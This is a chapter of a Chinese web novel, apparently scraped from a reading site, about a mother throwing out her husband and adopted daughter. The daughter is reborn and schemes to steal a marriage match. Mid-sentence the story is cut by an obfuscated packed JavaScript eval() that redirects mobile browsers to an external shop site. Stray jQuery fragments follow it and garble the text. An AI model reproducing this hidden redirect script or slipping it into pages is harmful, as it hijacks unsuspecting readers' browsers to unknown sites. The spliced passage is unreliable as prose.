夏天的傍晚,筒子楼下的空地是最热闹的地方,家家户户搬着椅子拿着蒲扇,坐在一起唠嗑吹风。
而如今,空地摆着的竹椅子上空无一人,他们也不嫌热,有一个算一个都挤在江甜果家门口一段小小的走廊上,伸着脖子支着耳朵,生怕放过一点动静。
“你先回去吧?”
“别回了,去附近开个招待所住一晚吧?”
两人同时开口,不同的声音撞在一起,神色都有些愕然。
林寒松怕她没听清,又重复了一遍,楼上闹得很大,他不愿意江甜果回去面对糟糕的局面。
“先上去看看。”江甜果没听他的,直直往楼梯上去。
她好奇,何巧凤会做出怎样的选择。
林寒松只能走在前面,稍稍挡在她身前。
走廊里人挤人,还是有婶子喊了一声:“江家大闺女回来了!”这才硬挤出一条路来。
看热闹的人你一言我一嘴,快速给江甜果补上了前因后果。
“丫头,你妈疯了闹着要和你爸离婚呢!”
“都多大岁数的人了,还搞这一出,啧啧啧。”
“我看她呀,是身在福中不知福,要是老江天天打他,保管生不出这些小心思!”
明明同为女性,但在何巧凤提出离婚时,对她指责最多的偏偏也是女性。
江甜果没什么表情地继续往前走,快到自家门口时,差点被从里推搡出来的肉//体和横飞过来的扫把误伤。
里面乱作一团,江甜果安心的躲在林寒松身后看热闹。
何巧凤抄起扫把舞得虎虎生风,连扫带打,把江向军父女撵了出去。
祁冰没被连累,但看着面色苍白,还要挨打的江宝花,心疼的不行,大着胆子上去劝和:“巧凤,这么大岁数了,咱别耍小性子,有啥事把话说开了,别动手啊!你看宝花,孩子病都没好,又吓一场……”话里话外带着些责怪的意味。
刚重生回来的江宝花,捂着被打疼的胳膊,也憋着一股气。她上辈子活了40年,别说挨打,就连家务也没伸过一指头,居然这辈子让从来看不上的养母给打了。
她不自觉带上了颐指气使的不满:“妈,你更年期到了,好好地发什么疯?我爸就是对你太好了,才让你骑到头顶欺负!”
江甜果掀起眼皮,惊讶地看了她一眼。
何巧凤越听越气,心里的火噌噌往上冒。
她三两步走过去,抡圆了胳膊对着江宝花娇嫩的小脸就是重重一巴掌。在旁边默默隐身,看着两个女人给他出头的江向军也没逃过,左右开弓接了两巴掌。
脸上的痛火辣辣的,江向军懵了一会,酝酿着沉沉的怒气,“我是不是平时好脸色给多了?”
何巧凤冷哼一声,懒得分给他眼神,转身从屋里拿出日记本。
看见熟悉的东西,江向军一下子急了,大步冲过去要抢,“谁允许你乱翻我东西!还给我!”
何巧凤:“再跟我吆五喝六的试试?告诉你,江向军,老娘要跟你离婚!”
“房子归我、钱归我,带着你的闺女滚出去!”
江向军呼吸急促:“我不同意!日记本里都是多少年前的事了,你要因为这离婚?就当没看见,咱还像以前一样过日子不行吗?”
何巧凤言语如刀,“我就这么贱?被你骗了半辈子,还得继续给你们父女俩当一辈子的免费保姆?”
“我说要离婚,不是在和你商量,不愿意的话,我就把你抽屉里的东西,一页页贴遍全市,帮你这个先进人物出个大名!”
“赶紧滚,看见你俩我恶心!”
“你……”江向军被她这股狠劲吓的哑口无言。
他最好面子,不敢想要是日记本上的内容暴露,别人会怎么看自己。
何巧凤打到了他的七寸上。
江向军不敢在气头上惹这个疯子,犹豫了一分钟,最后顶着胀痛的脸灰溜溜地离开。
江向军父女被撵走了,这场闹剧算是落幕。按照常理,周围的邻居们合该是上去劝劝,但何巧凤今天中邪了样,谁说好话就是一个眼刀杀过去。
谁也不敢触她的霉头,只能在私下里悄悄议论。
所有人都好奇,“何巧凤拿住江向军什么把柄,这么强势?”
当事人不发声,筒子楼里的谣言越传越离谱。
有说江向军外头有人了,也有说是他贪污,还有胆子大的,居然说他曾经是杀人犯!
谣言传的有鼻子有眼,给听闲话的都吓出一身冷汗。这样一口口黑锅扣上去,江向军日后想洗白都没人信。
——
重新空旷的楼道里,还剩下江甜果和林寒松,何巧凤没好气地开口,“你还回来干嘛?”心里却藏着渺茫的希冀。
“拿挎包和户口本,明天走。”
何巧凤握在门框的指节紧了紧,沉默半响,转身进了屋,她把草草撕下的户口页塞进女孩手里,逃也似地关了门。
“别回来了。”
这一句掩盖在重重的关门声里,藏着无尽的后悔与遗憾。
“别难过……”林寒松以为何巧凤是断绝关系的意思,他也没有安慰人的经验,斟酌半天,“我在这里,你难过的话,可以哭。”
“我没事。”江甜果有些好笑,却觉得温暖。只说今天的情况,该哭的人怎么都不会是她。
林寒松怕她嘴硬,不放心地把人送到招待所。
按常理说,招待所的服务对象是外地户口,有住宿需求和介绍信的人员,江甜果哪一项都不符合。
但实际上,这是棉纺厂下属的招待所,林寒松拿着自己的介绍信,前台小姑娘睁一只眼闭一只眼,也让她住进去了。
开好房间,林寒松把屋里的卫生快速打扫了一遍,又去打了壶热水,这才告别离开。
江甜果站在窗边,看着路灯下离去的高大背影,慢慢拉上了帘子。
——
另一边的江宝花和养父丧家之犬般离开筒子楼,蹲在路边,心里只觉得恍惚,刚重生回来的大脑更加迷糊,何巧凤怎么会这样?上辈子有发生过这样的事吗?
她忍不住埋怨道:“爸,你就被个女人拿捏了?她想离婚是她的事,咱的房子和钱可一分都不能少!”
“大人的事你别插嘴。”
养女带着指使说教的误解语气,听在江向军心里越来越不是滋味,他没忍住说话重了些。
江宝花气鼓鼓的扭过身子:“跟你说不明白!”
她噔噔噔起身跑了,留下江向军蹲在原地叹气。
江宝花一路跑到了祁冰家,
她记得这个婶子最疼他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14284144|151988||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,小时候也在她家住过好几次。
祁冰爽快的收留了她,但世易时移,她家里人口多,孩子们又都长大了,晚上睡觉的时候都没有能下脚的地。
但到底是心疼她,祁冰挪了又挪,勉强分出来张单人床,让江宝花带着她的小孙女一起睡。
小孩倒是挺乖,没哭没闹,只是江宝花心里乱糟糟的,两世的记忆在脑海里不断交织。
上辈子她嫁了个还不错的男人,体制内工作,说出去体面,夫妻恩爱家人和睦。
唯一烦心的就是钱。算是富裕,但偏偏当初和她同住筒子楼的姑娘,有两个嫁给了大老板,还有一个当上了军官夫人。
塑料闺蜜相聚,总是明里暗里嘲讽她普通的生活。见多了有权有钱的世面,江宝花也逐渐看不上老实的丈夫。
幸福但平庸的日子,她过得够够的了!她想着,要是能重来,这一次绝对要选个有权有势的男人!
谁能想到,她梦想成真,居然真的回到了一切还没开始的18岁!
这一次,江宝花决心要为自己谋算个好婚事。
她把上辈子的优秀男人名单在脑海里过了一遍。
往后会发财的,先不在考虑范围,等放开经济起码得熬五年,她这辈子是要享福的,一天都不想吃苦!
想来想去,能在几十年间始终过得高人一等,最好是嫁个高干子弟。
但——平城就这么大点地方,哪来的高干子弟。
她不知不觉想到了林寒松。
这男人,她上辈子见过的,在新闻频道里作为某军区领导发言,要是……
她一下不甘起来,但凡让她早重生一天,哪能让江甜果捡到这么大个便宜。
江甜果!
记忆里畏葸早死的女人,咋会突然跑到城里,又怎么得到这样一份好姻缘!
上天让她重生回来,难道不是为了弥补遗憾的吗,为什么要开个玩笑,又派一个人横刀夺走了她的好姻缘。
她开始怀疑江甜果是不是也像自己一样重生了?
——
一大早,江甜果推开门就看见招待所大厅里,有个坐得笔直板正的青年。
林寒松朝她走过来,“小姨说国营饭店的胡辣汤好喝,要不要尝尝?”
“没带来是怕油条时间久放软了,你回屋里坐会儿,我现在去。”
“没事,就这两步路我们一起。”江甜果猝不及防被他的细节感动到。
前台小姑娘大清早就被撒了一把狗粮,羡慕的咋舌:“妹子,你男人对你可真好~”
有个这么帅这么贴心的对象,真是叫人羡慕。
“嗯,”江甜果笑着点点头,反正她这趟去部队就是奔着结婚去的,早承认晚承认也没什么区别。
没想到这一声回应,却搞得林寒松脸色爆红,心里恨不得赶紧飞去临城,把结婚证领了,成为她真正的男人。
林寒松这顿早餐吃的心不在焉,江甜果则是认真品尝。国营饭店的胡辣汤做的果真名不虚传,蘸着油条和水煎包,味道不要太好。
吃完饭江甜果又回了招待所,在屋里待了没多久,突然有敲门声响起,她打开门,看到了气势汹汹的江宝花。
“你知道翟德发吗?”
女人眼睛一眨不眨,死死盯着面前的美人面。